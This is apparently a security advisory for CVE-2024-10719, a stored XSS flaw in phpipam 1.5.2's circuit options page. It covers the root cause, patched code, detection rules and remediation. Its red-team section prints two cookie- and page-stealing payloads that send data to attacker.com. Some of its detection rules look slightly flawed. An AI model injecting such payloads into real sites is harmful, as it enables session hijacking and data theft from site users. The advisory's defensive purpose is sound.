CVE-2024-10719

Executive Summary

CVE-2024-10719 is a stored cross-site scripting (XSS) vulnerability in phpipam version 1.5.2, specifically within the circuits options functionality. An authenticated attacker with sufficient privileges can inject malicious scripts via the option parameter in a POST request to /phpipam/app/admin/circuits/edit-options-submit.php. The injected script is stored and executed in the context of any user viewing the affected circuits options page, leading to potential cookie theft and end-user file disclosure. The vulnerability is fixed in version 1.7.0.

Supply Chain & Package Security

phpipam is a PHP-based IP address management application. The vulnerability exists in the core application code, not in a third-party package. However, administrators should verify the integrity of their phpipam installation and ensure they are running version 1.7.0 or later.

CVSS Breakdown & Threat Level

• CVSS Score: 2.4 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (authenticated admin)
• User Interaction: Required (victim must view the page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low (potential cookie theft)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Low. The vulnerability requires authenticated access with high privileges and user interaction. However, if exploited, it can lead to session hijacking and sensitive data disclosure.

Deep Dive & Mechanics

The vulnerability resides in the circuits options editing functionality. The option parameter in the POST request to edit-options-submit.php is not properly sanitized before being stored in the database. When an administrator views the circuits options page, the stored value is rendered without proper encoding, allowing the execution of arbitrary JavaScript.

Root Cause: Lack of input sanitization and output encoding for the option parameter.

Attack Flow:

1. An authenticated attacker with admin privileges navigates to the circuits options edit page.
2. The attacker submits a POST request with a malicious payload in the option parameter, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the database.
4. When any user (including other admins) views the circuits options page, the script executes in their browser.
5. The attacker can steal cookies, perform actions on behalf of the victim, or exfiltrate sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (phpipam 1.5.2):

// edit-options-submit.php (simplified)
$option = $_POST['option'];
// Directly stored without sanitization
$database->insert('circuit_options', ['option' => $option]);

Patched Code (phpipam 1.7.0):

// edit-options-submit.php (simplified)
$option = htmlspecialchars($_POST['option'], ENT_QUOTES, 'UTF-8');
// Sanitized before storage
$database->insert('circuit_options', ['option' => $option]);

The patch uses htmlspecialchars() to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a phpipam instance (version 1.5.2)
• Admin credentials

Exploitation Steps:

1. Log in to phpipam as an admin.
2. Navigate to Administration > Circuits > Options.
3. Intercept the POST request to edit-options-submit.php using a proxy like Burp Suite.
4. Modify the option parameter to include a malicious payload:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

5. Submit the request.
6. When another admin views the circuits options page, the script executes and sends the cookie to the attacker's server.

Alternative Payload:

<img src=x onerror="fetch('http://attacker.com/steal?data='+btoa(document.body.innerHTML))">

Blue Team

Detection:

• Monitor POST requests to /app/admin/circuits/edit-options-submit.php for suspicious option parameters.
• Look for HTML tags or JavaScript in the option field.
• Check for unexpected outbound connections from the phpipam server.

Hunting:

• Search database for stored XSS patterns in the circuit_options table.
• Review web server logs for requests containing <script> or onerror in the option parameter.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /phpipam/app/admin/circuits/edit-options-submit.php with option parameter containing HTML/JavaScript.
  • Outbound connections to unknown domains from the phpipam server.
• Host:
  • Stored XSS payloads in the circuit_options table of the phpipam database.
  • Unexpected JavaScript files or scripts in the browser's local storage.
• File:
  • Suspicious entries in web server access logs (e.g., option=<script>).

Detection Engineering

YARA Rule

rule phpipam_cve_2024_10719_xss {
    meta:
        description = "Detects stored XSS payloads in phpipam circuit options"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-10719"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script[^>]*>/i
        $xss_event = /on\w+\s*=\s*["'][^"']*["']/i
    condition:
        $xss_payload or $xss_event
}

Sigma Rule

title: Stored XSS in phpipam Circuit Options
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2024-10719
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/app/admin/circuits/edit-options-submit.php'
        cs-uri-query|contains: 'option='
    condition: selection
falsepositives:
    - Legitimate admin updates
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-10719 - phpipam Stored XSS Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/app/admin/circuits/edit-options-submit.php";
    http_uri;
    content:"option=";
    http_client_body;
    pcre:"/<script[^>]*>.*<\/script[^>]*>/i";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate:

• Upgrade phpipam to version 1.7.0 or later.
• If upgrade is not possible, apply a virtual patch by adding input sanitization to the option parameter.

Long-term:

• Implement a Web Application Firewall (WAF) to block XSS payloads.
• Enforce strict input validation and output encoding for all user-supplied data.
• Conduct regular security audits and penetration testing.

Workaround:

• Restrict access to the circuits options page to only trusted administrators.
• Monitor and audit all changes to circuit options.

Valters IT - DevSecOps & Cyber Threat Intelligence